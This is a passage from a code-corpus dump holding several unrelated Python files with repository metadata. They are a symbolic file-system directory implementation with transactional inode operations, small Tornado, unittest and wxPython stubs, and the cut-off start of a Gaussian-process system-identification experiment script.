Not(self.is_dir(ino)): self._inode.commit_tx() return Tuple2(0, errno.ENOTDIR) attr = self._inode.get_iattr(parent) assertion(UGE(attr.nlink, 2)) attr.nlink -= 1 self._inode.set_iattr(parent, attr) self.clear_dentry(parent_block, off) self._inode.write(parent_bid, parent_block) attr = self._inode.get_iattr(ino) attr.nlink = 1 self._inode.set_iattr(ino, attr) self._orphans.append(Extend(ino, 64)) self._inode.commit_tx() return Tuple2(ino, 0) def rename(self, oparent, oname, nparent, nname): assertion(self.is_dir(oparent)) assertion(self.is_dir(nparent)) assertion(oname.__getitem__(0) != 0) assertion(nname.__getitem__(0) != 0) self._inode.begin_tx() attr = self._inode.get_iattr(oparent) assertion(UGE(attr.nlink, 2)) attr.nlink -= 1 self._inode.set_iattr(oparent, attr) attr = self._inode.get_iattr(nparent) assertion(ULE(attr.bsize, 522)) attr.size = Concat32(BitVecVal(522, 32), BitVecVal(4096 * 522, 32)) assertion(ULT(attr.nlink, attr.nlink + 1)) attr.nlink += 1 self._inode.set_iattr(nparent, attr) tp = self.locate_dentry_ino(oparent, oname) oparent_block = tp.get_block() oparent_bid = tp.get_bid() ooff = tp.get_off() ovalid = tp.get_valid() assertion(ovalid) ino = oparent_block.__getitem__(ooff) self.clear_dentry(oparent_block, ooff) self._inode.write(oparent_bid, oparent_block) tp = self.locate_dentry_ino(nparent, nname) nparent_block = tp.get_block() nparent_bid = tp.get_bid() noff = tp.get_off() nvalid = tp.get_valid() if nvalid: self._orphans.append(nparent_block.__getitem__(noff)) self.clear_dentry(nparent_block, noff) tp3 = self.locate_empty_dentry_slot_ino(nparent) nparent_block = tp3.get_block() nparent_bid = tp3.get_bid() noff = tp3.get_off() self.write_dentry(nparent_block, noff, ino, nname) self._inode.write(nparent_bid, nparent_block) self._inode.commit_tx() return 0 def forget(self, ino): if Or((self.get_iattr(ino).mode & S_IFDIR) != 0, self.get_iattr(ino).nlink != 1): return assertion(self.is_regular(ino)) self._inode.begin_tx() attr = self._inode.get_iattr(ino) attr.nlink = 0 self._inode.set_iattr(ino, attr) self._inode.commit_tx() def fsync(self): self._txndisk.flush() def gc1(self, orph_index, off): ino = Extract(31, 0, self._orphans.index(orph_index)) if not self.is_gcable(ino): return self._inode.begin_tx() self._inode.bunmap(Concat32(ino, off)) nsize = off attr = self._inode.get_iattr(ino) if attr.bsize == nsize + 1: attr.size = Concat32(nsize, nsize * 4096) self._inode.set_iattr(ino, attr) self._inode.commit_tx() def gc2(self, orph_index): ino = Extract(31, 0, self._orphans.index(orph_index)) if not self.is_gcable(ino): return if self._inode.get_iattr(ino).size == 0: self._inode.begin_tx() self._orphans.clear(orph_index) self._ibitmap.unset_bit(ino) self._inode.commit_tx() def gc3(self): self._inode.begin_tx() self._orphans.reset() self._inode.commit_tx() # ============= end ============== NBLOCKS = 522 IFREEDISK = 4 ORPHANS = 5 @cython.locals(inode='IndirectInodeDisk') def __init__(self, txndisk, inode): self._txndisk = txndisk self._inode = inode """ self._Allocator = Allocator self._Bitmap = Bitmap self._DirLookup = DirLookup """ #PIno = namedtuple('Inode', ['is_mapped', 'mappingi', 'read', 'bmap']) """ self._dirlook = DirLookup(PIno( is_mapped=lambda vbn, inode=inode: inode.is_mapped(vbn), mappingi=lambda vbn, inode=inode: inode.mappingi(vbn), read=lambda bid, inode=inode: inode.read(bid), bmap=lambda bid, inode=inode: inode.bmap(bid), )) """ self._dirlook = DirLook(MyPIno(inode)) """ self._ifree = Disk( write=lambda bid, data: self._txndisk.write_tx(self.IFREEDISK, bid, data), read=lambda bid: self._txndisk._read(self.IFREEDISK, bid)) orphandisk = Disk( write=lambda bid, data: self._txndisk.write_tx(self.ORPHANS, bid, data), read=lambda bid: self._txndisk._read(self.ORPHANS, bid)) """ self._ifree = Disk(self.IFREEDISK, self._txndisk) orphandisk = Disk(self.ORPHANS, self._txndisk) """ self._iallocator = Allocator( lambda n: self._ifree.read(n), 0, 1024) """ self._iallocator = Allocator32(self._ifree, 0, 1024) self._ibitmap = Bitmap(self._ifree) self._orphans = Orphans(orphandisk) def locate_dentry_ino(self, ino, name): ioff, off = self._dirlook.locate_dentry_ino(ino, name) assertion(ULT(ioff, 522), "locate_dentry_ino: invalid ioff") assertion(ioff != 10, "locate_dentry_ino: invalid ioff") bid = self._inode.bmap(Concat32(ino, ioff)) block = self._inode.read(bid) #valid = And(bid != 0, off % 16 == 0, Extract(31, 0, block[off]) != 0) valid = And(bid != 0, off % 16 == 0, Extract(31, 0, block.__getitem__(off)) != 0) for i in range(15): #valid = And(valid, block[off + i + 1] == name[i]) valid = And(valid, block.__getitem__(off + i + 1) == name.__getitem__(i)) #return block, bid, off, valid return Tuple4(block, bid, off, valid) def locate_empty_dentry_slot_ino(self, ino): ioff, off = self._dirlook.locate_empty_slot_ino(ino) assertion(ULT(ioff, 522), "locate_empty_dentry_slot: invalid ioff") assertion(ioff != 10, "locate_empty_dentry_slot: invalid ioff") bid = self._inode.bmap(Concat32(ino, ioff)) block = self._inode.read(bid) assertion(bid != 0, "locate_empty_dentry_slot: invalid bid") assertion(off % 16 == 0, "locate_empty_dentry_slot: invalid offset") #assertion(block[off] == 0, "locate_empty_dentry_slot: slot not empty") assertion(block.__getitem__(off) == 0, "locate_empty_dentry_slot: slot not empty") #return block, bid, off return Tuple3(block, bid, off) def locate_empty_dentry_slot_err_ino(self, ino): ioff, off = self._dirlook.locate_empty_slot_ino(ino) assertion(ULT(ioff, 522), "locate_dentry_ino: invalid ioff") assertion(ioff != 10, "locate_dentry_ino: invalid ioff") bid = self._inode.bmap(Concat32(ino, ioff)) block = self._inode.read(bid) #return block, bid, off, And(bid != 0, off % 16 == 0, block[off] == 0) #return block, bid, off, And(bid != 0, off % 16 == 0, block.__getitem__(off) == 0) return Tuple4(block, bid, off, And(bid != 0, off % 16 == 0, block.__getitem__(off) == 0)) def write_dentry(self, block, off, ino, name): #block[off] = ino block.__setitem__(off, ino) for i in range(15): #block[off + i + 1] = name[i] block.__setitem__(off + i + 1, name.__getitem__(i)) def clear_dentry(self, block, off): for i in range(16): #block[off + i] = 0 block.__setitem__(off + i, 0) def ialloc(self): # black box allocator returns a vbn ino = self._iallocator.alloc() # Validation assertion(ino != 0, "ialloc: inode is 0") assertion(self.is_ifree(ino), "ialloc: ino is not free") self._ibitmap.set_bit(ino) return ino def is_ifree(self, ino): return Not(self._ibitmap.is_set(ino)) def is_valid(self, ino): return And(ino != 0, self._ibitmap.is_set(ino), UGT(self.get_iattr(ino).nlink, 0)) def is_gcable(self, ino): return And(ino != 0, self._ibitmap.is_set(ino), self.get_iattr(ino).nlink == 0) def is_dir(self, ino): attr = self._inode.get_iattr(ino) return And(self.is_valid(ino), attr.mode & S_IFDIR != 0) def is_regular(self, ino): attr = self._inode.get_iattr(ino) return And(self.is_valid(ino), attr.mode & S_IFDIR == 0) ### def get_iattr(self, ino): return self._inode.get_iattr(ino) def set_iattr(self, ino, attr): self._inode.begin_tx() self._inode.set_iattr(ino, attr) self._inode.commit_tx() def read(self, ino, blocknum): attr = self.get_iattr(ino) bsize = attr.bsize is_mapped = self._inode.is_mapped(Concat32(ino, blocknum)) lbn = self._inode.mappingi(Concat32(ino, blocknum)) res = self._inode.read(lbn) res = If(And(is_mapped, ULT(blocknum, bsize)), res, ConstBlock(0)) return res def truncate(self, ino, fsize): target_bsize = fsize / 4096 + (fsize % 4096 != 0) # Update the size attr = self._inode.get_iattr(ino) while attr.bsize > target_bsize: self._inode.begin_tx() self._inode.bunmap(Concat32(ino, attr.bsize - 1)) attr.size = Concat32(attr.bsize - 1, fsize) self._inode.set_iattr(ino, attr) self._inode.commit_tx() if attr.fsize > fsize: self._inode.begin_tx() attr.size = Concat32(attr.bsize, fsize) self._inode.set_iattr(ino, attr) self._inode.commit_tx() def write(self, ino, blocknum, v, size=BitVecVal(4096, 32)): # Implementation support only a small number of blocknums. assertion(ULT(blocknum, 522), "write: blocknum to large") assertion(ULT(BitVecVal(0, 32), size), "write: size is 0") assertion(ULE(size, BitVecVal(4096, 32)), "write: size to large") assertion(self.is_regular(ino), "write: writing to a non-regular inode") self._inode.begin_tx() bid = self._inode.bmap(Concat32(ino, blocknum)) self._inode.write(bid, v) attr = self._inode.get_iattr(ino) nsize = Concat32(blocknum + 1, blocknum * 4096 + size) update = ULE(attr.fsize, blocknum * 4096 + size) attr.size = If(update, nsize, attr.size) self._inode.set_iattr(ino, attr) self._inode.commit_tx() return size def lookup(self, parent, name): assertion(self.is_dir(parent), "lookup: parent is not dir") self._inode.begin_tx() #parent_block, _, off, valid = self.locate_dentry_ino(parent, name) tp = self.locate_dentry_ino(parent, name) parent_block = tp.get_block() off = tp.get_off() valid = tp.get_valid() self._inode.commit_tx() #return If(valid, Extract(31, 0, parent_block[off]), 0) return If(valid, Extract(31, 0, parent_block.__getitem__(off)), 0) def mknod(self, parent, name, mode, mtime): assertion(self.is_dir(parent), "mknod: parent is not a directory") #assertion(name[0] != 0, "mknod: name is null") assertion(name.__getitem__(0) != 0, "mknod: name is null") self._inode.begin_tx() parent_block, parent_bid, off, valid = self.locate_empty_dentry_slot_err_ino(parent) if Not(valid): self._inode.commit_tx() #return 0, errno.ENOSPC return Tuple2(0, errno.ENOSPC) ino = self.ialloc() attr = Stat(size=0, mtime=mtime, mode=mode, nlink=2) self._inode.set_iattr(ino, attr) attr = self._inode.get_iattr(parent) assertion(ULE(attr.bsize, 522), "mknod: bsize is larger than 522") attr.size = Concat32(BitVecVal(522, 32), BitVecVal(4096 * 522, 32)) assertion(ULT(attr.nlink, attr.nlink + 1), "mknod: nlink overflow") attr.nlink += 1 self._inode.set_iattr(parent, attr) self.write_dentry(parent_block, off, ino, name) #parent_block[off] = ino parent_block.__setitem__(off, ino) self._inode.write(parent_bid, parent_block) self._inode.commit_tx() #return ino, 0 return Tuple2(ino, 0) def unlink(self, parent, name): assertion(self.is_dir(parent), "unlink: not a dir") #assertion(name[0] != 0, "unlink: name is null") assertion(name.__getitem__(0) != 0, "unlink: name is null") self._inode.begin_tx() parent_block, parent_bid, off, valid = self.locate_dentry_ino(parent, name) assertion(valid, "unlink: not valid") attr = self._inode.get_iattr(parent) assertion(UGE(attr.nlink, 2), "unlink: nlink is not greater than 1: " + str(attr.nlink)) attr.nlink -= 1 self._inode.set_iattr(parent, attr) #ino = Extract(31, 0, parent_block[off]) ino = Extract(31, 0, parent_block.__getitem__(off)) attr = self._inode.get_iattr(ino) attr.nlink = 1 self._inode.set_iattr(ino, attr) self.clear_dentry(parent_block, off) self._inode.write(parent_bid, parent_block) # append the inode to the orphan list self._orphans.append(Extend(ino, 64)) self._inode.commit_tx() return ino def rmdir(self, parent, name): assertion(self.is_dir(parent), "rmdir: parent is not a directory") #assertion(name[0] != 0, "rmdir: name is null") assertion(name.__getitem__(0) != 0, "rmdir: name is null") self._inode.begin_tx() parent_block, parent_bid, off, valid = self.locate_dentry_ino(parent, name) if Not(valid): self._inode.commit_tx() #return 0, errno.ENOENT return Tuple2(0, errno.ENOENT) assertion(valid, "rmdir: dentry off not valid") #ino = Extract(31, 0, parent_block[off]) ino = Extract(31, 0, parent_block.__getitem__(off)) if Not(self.is_dir(ino)): self._inode.commit_tx() #return 0, errno.ENOTDIR return Tuple2(0, errno.ENOTDIR) assertion(self.is_dir(ino), "rmdir: ino is not dir") attr = self._inode.get_iattr(ino) if UGT(attr.nlink, 2): self._inode.commit_tx() #return BitVecVal(0, 32), errno.ENOTEMPTY return Tuple2(BitVecVal(0, 32), errno.ENOTEMPTY) attr = self._inode.get_iattr(parent) assertion(UGE(attr.nlink, 2), "rmdir: nlink is not greater than 1: " + str(attr.nlink)) attr.nlink -= 1 self._inode.set_iattr(parent, attr) self.clear_dentry(parent_block, off) self._inode.write(parent_bid, parent_block) attr = self._inode.get_iattr(ino) attr.nlink = 1 self._inode.set_iattr(ino, attr) # append the inode to the orphan list self._orphans.append(Extend(ino, 64)) self._inode.commit_tx() #return ino, 0 return Tuple2(ino, 0) def rename(self, oparent, oname, nparent, nname): assertion(self.is_dir(oparent), "rename: oparent is not dir") assertion(self.is_dir(nparent), "rename: nparent is not dir") #assertion(oname[0] != 0, "rename: oname is null") #assertion(nname[0] != 0, "rename: nname is null") assertion(oname.__getitem__(0) != 0, "rename: oname is null") assertion(nname.__getitem__(0) != 0, "rename: nname is null") self._inode.begin_tx() attr = self._inode.get_iattr(oparent) assertion(UGE(attr.nlink, 2), "rename: nlink is not greater than 1: " + str(attr.nlink)) attr.nlink -= 1 self._inode.set_iattr(oparent, attr) attr = self._inode.get_iattr(nparent) assertion(ULE(attr.bsize, 522), "rename: bsize is larger than 522") attr.size = Concat32(BitVecVal(522, 32), BitVecVal(4096 * 522, 32)) assertion(ULT(attr.nlink, attr.nlink + 1), "rename: nlink overflow") attr.nlink += 1 self._inode.set_iattr(nparent, attr) # Find target and wipe from parent block oparent_block, oparent_bid, ooff, ovalid = self.locate_dentry_ino(oparent, oname) assertion(ovalid, "rename: ooff is not valid") #ino = oparent_block[ooff] ino = oparent_block.__getitem__(ooff) self.clear_dentry(oparent_block, ooff) self._inode.write(oparent_bid, oparent_block) # Check if target exists nparent_block, nparent_bid, noff, nvalid = self.locate_dentry_ino(nparent, nname) if nvalid: # append the dst inode to the orphan list #self._orphans.append(nparent_block[noff]) self._orphans.append(nparent_block.__getitem__(noff)) self.clear_dentry(nparent_block, noff) nparent_block, nparent_bid, noff = self.locate_empty_dentry_slot_ino(nparent) self.write_dentry(nparent_block, noff, ino, nname) self._inode.write(nparent_bid, nparent_block) self._inode.commit_tx() return 0 def forget(self, ino): if Or(self.get_iattr(ino).mode & S_IFDIR != 0, self.get_iattr(ino).nlink != 1): return assertion(self.is_regular(ino), "forget: ino is not regular") self._inode.begin_tx() attr = self._inode.get_iattr(ino) attr.nlink = 0 self._inode.set_iattr(ino, attr) self._inode.commit_tx() def fsync(self): self._txndisk.flush() def gc1(self, orph_index, off): ino = Extract(31, 0, self._orphans.index(orph_index)) if not self.is_gcable(ino): return # Wipe data self._inode.begin_tx() self._inode.bunmap(Concat32(ino, off)) nsize = off attr = self._inode.get_iattr(ino) if attr.bsize == nsize + 1: attr.size = Concat32(nsize, nsize * 4096) self._inode.set_iattr(ino, attr) self._inode.commit_tx() # If the inode is in the orphan list, is gc-able *and* # its size is 0 we can safely mark it as 'free' def gc2(self, orph_index): ino = Extract(31, 0, self._orphans.index(orph_index)) if not self.is_gcable(ino): return if self._inode.get_iattr(ino).size == 0: self._inode.begin_tx() self._orphans.clear(orph_index) self._ibitmap.unset_bit(ino) self._inode.commit_tx() def gc3(self): self._inode.begin_tx() self._orphans.reset() self._inode.commit_tx() def crash(self, mach): #return self.__class__(self._txndisk.crash(mach), self._inode.crash(mach), self._Allocator, self._Bitmap, self._DirLookup) return self.__class__(self._txndisk.crash(mach), self._inode.crash(mach)) DirImpl.NBLOCKS = 522 DirImpl.IFREEDISK = 4 DirImpl.ORPHANS = 5 ''' # this class is auto-generated from cpp code, except crash func class DirImpl: NBLOCKS = None IFREEDISK = None ORPHANS = None def __init__(self, txndisk, inode): self._txndisk = txndisk self._inode = inode self._dirlook = DirLook(MyPIno(inode)) self._ifree = Disk(DirImpl.IFREEDISK, self._txndisk) orphandisk = Disk(DirImpl.ORPHANS, self._txndisk) self._iallocator = Allocator32(self._ifree, 0, 1024) self._ibitmap = Bitmap(self._ifree) self._orphans = Orphans(orphandisk) def locate_dentry_ino(self, ino, name): tuple = self._dirlook.locate_dentry_ino(ino, name) ioff = tuple.__getitem__(0) off = tuple.__getitem__(1) assertion(ULT(ioff, 522)) assertion(ioff != 10) bid = self._inode.bmap(Concat32(ino, ioff)) block = self._inode.read(bid) valid = And(bid != 0, off % 16 == 0, Extract(31, 0, block.__getitem__(off)) != 0) i = 0 while i < 15: valid = And(valid, block.__getitem__(off + i + 1) == name.__getitem__(i)) i += 1 return Tuple4(block, bid, off, valid) def locate_empty_dentry_slot_ino(self, ino): tuple = self._dirlook.locate_empty_slot_ino(ino) ioff = tuple.__getitem__(0) off = tuple.__getitem__(1) assertion(ULT(ioff, 522)) assertion(ioff != 10) bid = self._inode.bmap(Concat32(ino, ioff)) block = self._inode.read(bid) assertion(bid != 0) assertion(off % 16 == 0) assertion(block.__getitem__(off) == 0) return Tuple3(block, bid, off) def locate_empty_dentry_slot_err_ino(self, ino): tuple = self._dirlook.locate_empty_slot_ino(ino) ioff = tuple.__getitem__(0) off = tuple.__getitem__(1) assertion(ULT(ioff, 522)) assertion(ioff != 10) bid = self._inode.bmap(Concat32(ino, ioff)) block = self._inode.read(bid) return Tuple4(block, bid, off, And(bid != 0, off % 16 == 0, block.__getitem__(off) == 0)) def write_dentry(self, block, off, ino, name): block.__setitem__(off, ino) i = 0 while i < 15: block.__setitem__(off + i + 1, name.__getitem__(i)) i += 1 def clear_dentry(self, block, off): i = 0 while i < 16: block.__setitem__(off + i, 0) i += 1 def ialloc(self): ino = self._iallocator.alloc() assertion(ino != 0) assertion(self.is_ifree(ino)) self._ibitmap.set_bit(ino) return ino def is_ifree(self, ino): return Not(self._ibitmap.is_set(ino)) def is_valid(self, ino): return And(ino != 0, self._ibitmap.is_set(ino), UGT(self.get_iattr(ino).nlink, 0)) def is_gcable(self, ino): return And(ino != 0, self._ibitmap.is_set(ino), self.get_iattr(ino).nlink == 0) def is_dir(self, ino): attr = self._inode.get_iattr(ino) return And(self.is_valid(ino), (attr.mode & S_IFDIR) != 0) def is_regular(self, ino): attr = self._inode.get_iattr(ino) return And(self.is_valid(ino), (attr.mode & S_IFDIR) == 0) def get_iattr(self, ino): return self._inode.get_iattr(ino) def set_iattr(self, ino, attr): self._inode.begin_tx() self._inode.set_iattr(ino, attr) self._inode.commit_tx() def read(self, ino, blocknum): attr = self.get_iattr(ino) bsize = attr.bsize is_mapped = self._inode.is_mapped(Concat32(ino, blocknum)) lbn = self._inode.mappingi(Concat32(ino, blocknum)) res = self._inode.read(lbn) zeroblock = ConstBlock(0) return If(And(is_mapped, ULT(blocknum, bsize)), res, zeroblock) def truncate(self, ino, fsize): target_bsize = fsize / 4096 + (fsize % 4096 != 0) attr = self._inode.get_iattr(ino) while attr.bsize > target_bsize: self._inode.begin_tx() self._inode.bunmap(Concat32(ino, attr.bsize - 1)) attr.size = Concat32(attr.bsize - 1, fsize) self._inode.set_iattr(ino, attr) self._inode.commit_tx() if attr.fsize > fsize: self._inode.begin_tx() attr.size = Concat32(attr.bsize, fsize) self._inode.set_iattr(ino, attr) self._inode.commit_tx() def write(self, ino, blocknum, v, size=BitVecVal(4096, 32)): assertion(ULT(blocknum, 522)) assertion(ULT(BitVecVal(0, 32), size)) assertion(ULE(size, BitVecVal(4096, 32))) assertion(self.is_regular(ino)) self._inode.begin_tx() bid = self._inode.bmap(Concat32(ino, blocknum)) self._inode.write(bid, v) attr = self._inode.get_iattr(ino) nsize = Concat32(blocknum + 1, blocknum * 4096 + size) update = ULE(attr.fsize, blocknum * 4096 + size) attr.size = If(update, nsize, attr.size) self._inode.set_iattr(ino, attr) self._inode.commit_tx() return size def lookup(self, parent, name): assertion(self.is_dir(parent)) self._inode.begin_tx() tp = self.locate_dentry_ino(parent, name) parent_block = tp.get_block() off = tp.get_off() valid = tp.get_valid() self._inode.commit_tx() return If(valid, Extract(31, 0, parent_block.__getitem__(off)), 0) def mknod(self, parent, name, mode, mtime): assertion(self.is_dir(parent)) assertion(name.__getitem__(0) != 0) self._inode.begin_tx() tp = self.locate_empty_dentry_slot_err_ino(parent) parent_block = tp.get_block() parent_bid = tp.get_bid() off = tp.get_off() valid = tp.get_valid() if Not(valid): self._inode.commit_tx() return Tuple2(0, errno.ENOSPC) ino = self.ialloc() attr = Stat(0, mtime, mode, 2) self._inode.set_iattr(ino, attr) attr = self._inode.get_iattr(parent) assertion(ULE(attr.bsize, 522)) attr.size = Concat32(BitVecVal(522, 32), BitVecVal(4096 * 522, 32)) assertion(ULT(attr.nlink, attr.nlink + 1)) attr.nlink += 1 self._inode.set_iattr(parent, attr) self.write_dentry(parent_block, off, ino, name) parent_block.__setitem__(off, ino) self._inode.write(parent_bid, parent_block) self._inode.commit_tx() return Tuple2(ino, 0) def unlink(self, parent, name): assertion(self.is_dir(parent)) assertion(name.__getitem__(0) != 0) self._inode.begin_tx() tp = self.locate_dentry_ino(parent, name) parent_block = tp.get_block() parent_bid = tp.get_bid() off = tp.get_off() valid = tp.get_valid() assertion(valid) attr = self._inode.get_iattr(parent) assertion(UGE(attr.nlink, 2)) attr.nlink -= 1 self._inode.set_iattr(parent, attr) ino = Extract(31, 0, parent_block.__getitem__(off)) attr = self._inode.get_iattr(ino) attr.nlink = 1 self._inode.set_iattr(ino, attr) self.clear_dentry(parent_block, off) self._inode.write(parent_bid, parent_block) self._orphans.append(Extend(ino, 64)) self._inode.commit_tx() return ino def rmdir(self, parent, name): assertion(self.is_dir(parent)) assertion(name.__getitem__(0) != 0) self._inode.begin_tx() tp = self.locate_dentry_ino(parent, name) parent_block = tp.get_block() parent_bid = tp.get_bid() off = tp.get_off() valid = tp.get_valid() if Not(valid): self._inode.commit_tx() return Tuple2(0, errno.ENOENT) assertion(valid) ino = Extract(31, 0, parent_block.__getitem__(off)) if Not(self.is_dir(ino)): self._inode.commit_tx() return Tuple2(0, errno.ENOTDIR) attr = self._inode.get_iattr(parent) assertion(UGE(attr.nlink, 2)) attr.nlink -= 1 self._inode.set_iattr(parent, attr) self.clear_dentry(parent_block, off) self._inode.write(parent_bid, parent_block) attr = self._inode.get_iattr(ino) attr.nlink = 1 self._inode.set_iattr(ino, attr) self._orphans.append(Extend(ino, 64)) self._inode.commit_tx() return Tuple2(ino, 0) def rename(self, oparent, oname, nparent, nname): assertion(self.is_dir(oparent)) assertion(self.is_dir(nparent)) assertion(oname.__getitem__(0) != 0) assertion(nname.__getitem__(0) != 0) self._inode.begin_tx() attr = self._inode.get_iattr(oparent) assertion(UGE(attr.nlink, 2)) attr.nlink -= 1 self._inode.set_iattr(oparent, attr) attr = self._inode.get_iattr(nparent) assertion(ULE(attr.bsize, 522)) attr.size = Concat32(BitVecVal(522, 32), BitVecVal(4096 * 522, 32)) assertion(ULT(attr.nlink, attr.nlink + 1)) attr.nlink += 1 self._inode.set_iattr(nparent, attr) tp = self.locate_dentry_ino(oparent, oname) oparent_block = tp.get_block() oparent_bid = tp.get_bid() ooff = tp.get_off() ovalid = tp.get_valid() assertion(ovalid) ino = oparent_block.__getitem__(ooff) self.clear_dentry(oparent_block, ooff) self._inode.write(oparent_bid, oparent_block) tp = self.locate_dentry_ino(nparent, nname) nparent_block = tp.get_block() nparent_bid = tp.get_bid() noff = tp.get_off() nvalid = tp.get_valid() if nvalid: self._orphans.append(nparent_block.__getitem__(noff)) self.clear_dentry(nparent_block, noff) tp3 = self.locate_empty_dentry_slot_ino(nparent) nparent_block = tp3.get_block() nparent_bid = tp3.get_bid() noff = tp3.get_off() self.write_dentry(nparent_block, noff, ino, nname) self._inode.write(nparent_bid, nparent_block) self._inode.commit_tx() return 0 def forget(self, ino): if Or((self.get_iattr(ino).mode & S_IFDIR) != 0, self.get_iattr(ino).nlink != 1): return assertion(self.is_regular(ino)) self._inode.begin_tx() attr = self._inode.get_iattr(ino) attr.nlink = 0 self._inode.set_iattr(ino, attr) self._inode.commit_tx() def fsync(self): self._txndisk.flush() def gc1(self, orph_index, off): ino = Extract(31, 0, self._orphans.index(orph_index)) if not self.is_gcable(ino): return self._inode.begin_tx() self._inode.bunmap(Concat32(ino, off)) nsize = off attr = self._inode.get_iattr(ino) if attr.bsize == nsize + 1: attr.size = Concat32(nsize, nsize * 4096) self._inode.set_iattr(ino, attr) self._inode.commit_tx() def gc2(self, orph_index): ino = Extract(31, 0, self._orphans.index(orph_index)) if not self.is_gcable(ino): return if self._inode.get_iattr(ino).size == 0: self._inode.begin_tx() self._orphans.clear(orph_index) self._ibitmap.unset_bit(ino) self._inode.commit_tx() def gc3(self): self._inode.begin_tx() self._orphans.reset() self._inode.commit_tx() def crash(self, mach): #return self.__class__(self._txndisk.crash(mach), self._inode.crash(mach), self._Allocator, self._Bitmap, self._DirLookup) return self.__class__(self._txndisk.crash(mach), self._inode.crash(mach)) DirImpl.NBLOCKS = 522 DirImpl.IFREEDISK = 4 DirImpl.ORPHANS = 5

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bd5b40074a7c5fec7855f3d1e901b3853c92b623

127

py

Python

jwtornadodemo/config/__init__.py

jaggerwang/jw-pyserver

80d621e5fe5474c3ee38b78395778c59543916cf

[ "MIT" ]

10

2019-03-07T02:11:17.000Z

2021-08-24T06:51:13.000Z

jwtornadodemo/config/__init__.py

jaggerwang/jw-pyserver

80d621e5fe5474c3ee38b78395778c59543916cf

[ "MIT" ]

1

2021-06-01T21:50:48.000Z

jwtornadodemo/config/__init__.py

jaggerwang/jw-pyserver

80d621e5fe5474c3ee38b78395778c59543916cf

[ "MIT" ]

3

2019-03-07T02:11:18.000Z

2020-06-22T07:13:02.000Z

from .env import * from .logging import * from .tornado import * from .session import * from .db import * from .cache import *

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6

bd988b11fbd3b30e11179f289fd7f8dc02d2df56

158

py

Python

tests/test_hours.py

c0yote/toolbag

5128af31f0069372ecb537dead4402a6aac33428

[ "MIT" ]

null

tests/test_hours.py

c0yote/toolbag

5128af31f0069372ecb537dead4402a6aac33428

[ "MIT" ]

7

2018-03-18T22:50:24.000Z

2018-05-31T17:38:15.000Z

tests/test_hours.py

c0yote/toolbag

5128af31f0069372ecb537dead4402a6aac33428

[ "MIT" ]

null

import unittest from unittest.mock import MagicMock, mock_open, patch class HoursTestCase(unittest.TestCase): #def test_time_between_24hr_clock() pass

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6

bdbacbe5eb791172912981277ee7df65bc7ec4d0

161

py

Python

xman/events.py

linychuo/SQLiteClient

064e71e9667d4ea9aad29e7ee9ffb581335738e8

[ "MIT" ]

4

2018-01-28T07:01:51.000Z

2019-06-19T03:27:03.000Z

xman/events.py

linychuo/SQLiteClient

064e71e9667d4ea9aad29e7ee9ffb581335738e8

[ "MIT" ]

null

xman/events.py

linychuo/SQLiteClient

064e71e9667d4ea9aad29e7ee9ffb581335738e8

[ "MIT" ]

1

2020-08-16T14:29:26.000Z

import wx.lib.newevent ForwardMainEvent, EVT_FORWARD_MAIN_EVENT = wx.lib.newevent.NewEvent() CreateTabEvent, EVT_CREATE_MAIN_EVENT = wx.lib.newevent.NewEvent()

32.2

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bddda2c09da7cc3ddae89d81def13f2eb9fd291d

42,403

py

Python

svi_experiments/rgp_experiments.py

zhenwendai/RGP

be679607d3457a1038a2fe39b36b816ea380ea39

[ "BSD-3-Clause" ]

17

2016-10-24T01:31:30.000Z

2021-07-31T08:12:02.000Z

svi_experiments/rgp_experiments.py

zhenwendai/RGP

be679607d3457a1038a2fe39b36b816ea380ea39

[ "BSD-3-Clause" ]

null

svi_experiments/rgp_experiments.py

zhenwendai/RGP

be679607d3457a1038a2fe39b36b816ea380ea39

[ "BSD-3-Clause" ]

11

2017-07-11T09:11:48.000Z

2022-01-25T12:10:48.000Z

#!/usr/bin/env python2 # -*- coding: utf-8 -*- """ Created on Mon Aug 21 11:51:21 2017 @author: grigoral """ from __future__ import print_function import autoreg import GPy import numpy as np from matplotlib import pyplot as plt import scipy.io as io from autoreg.benchmark import tasks # Define class for normalization class Normalize(object): def __init__(self, data, name, norm_name): self.data_mean = data.mean(axis=0) self.data_std = data.std(axis=0) self.normalization_computed = True setattr(self, name, data) setattr(self, norm_name, (data-self.data_mean) / self.data_std ) def normalize(self, data, name, norm_name): if hasattr(self,norm_name): raise ValueError("This normalization name already exist, choose another one") setattr(self, name, data ) setattr(self, norm_name, (data-self.data_mean) / self.data_std ) def denormalize(self, data): return data*self.data_std + self.data_mean def prepare_data(task_name, normalize=False): task = getattr( tasks, task_name) task = task() task.load_data() print("Data OUT train shape: ", task.data_out_train.shape) print("Data IN train shape: ", task.data_in_train.shape) print("Data OUT test shape: ", task.data_out_test.shape) print("Data IN test shape: ", task.data_in_test.shape) normalize = True in_data = Normalize(task.data_in_train,'in_train','in_train_norm' ) out_data = Normalize(task.data_out_train,'out_train','out_train_norm' ) in_data.normalize(task.data_in_test, 'in_test','in_test_norm') out_data.normalize(task.data_out_test, 'out_test','out_test_norm') if normalize: out_train = out_data.out_train_norm #out_data.out_train in_train = in_data.in_train_norm # in_data.in_train out_test = out_data.out_test_norm #out_data.out_test in_test = in_data.in_test_norm #in_data.in_test else: out_train = out_data.out_train #out_data.out_train in_train = in_data.in_train # in_data.in_train out_test = out_data.out_test #out_data.out_test in_test = in_data.in_test #in_data.in_test return out_train, in_train, task class IE5_experiment_1( object ): """ Tested parameters are: initial number of optimization runs, number of hidden dims, number of inducing points. After the first experiment the conclusion is that 1 hidden dim is the best, but also the optimization is not very explorative. Probably there was an error in the experi,ent setup because I did not change the number of hidden layers only the number of hidden dimensions in 1 layer. Best values: ini_runs = 160.0, hidden dim=1., Q=50. (237.44060068) Iteration 21 """ def __init__( self, initial_counter, iter_nums): self.counter = initial_counter self.iter_nums = iter_nums def __call__( self, *args, **kwargs ): #import pdb; pdb.set_trace() new_args = (self.counter,self.iter_nums,) + tuple( [ int(args[0][0,i]) for i in range(args[0].shape[1]) ] ) ret = self.IE5_experiment_1_code( *new_args, **kwargs) self.counter += 1 return ret @staticmethod def IE5_experiment_1_code( bo_iter_no, p_iter_num, p_init_runs, p_hidden_dims, p_Q): """ Hyper parameter search for IE5 data, varying small number of parameters. One hidden layer. """ # p_iter_num # How many iteration are needed to evaluate one set of hyper parameterss # task names: # Actuator, Ballbeam, Drive, Gas_furnace, Flutter, Dryer, Tank, # IdentificationExample1..5 #import pdb; pdb.set_trace() out_train, in_train, task = prepare_data('IdentificationExample5', normalize=True) p_task_name = 'IE5_1' #p_iteration = train_U = in_train.copy() train_Y = 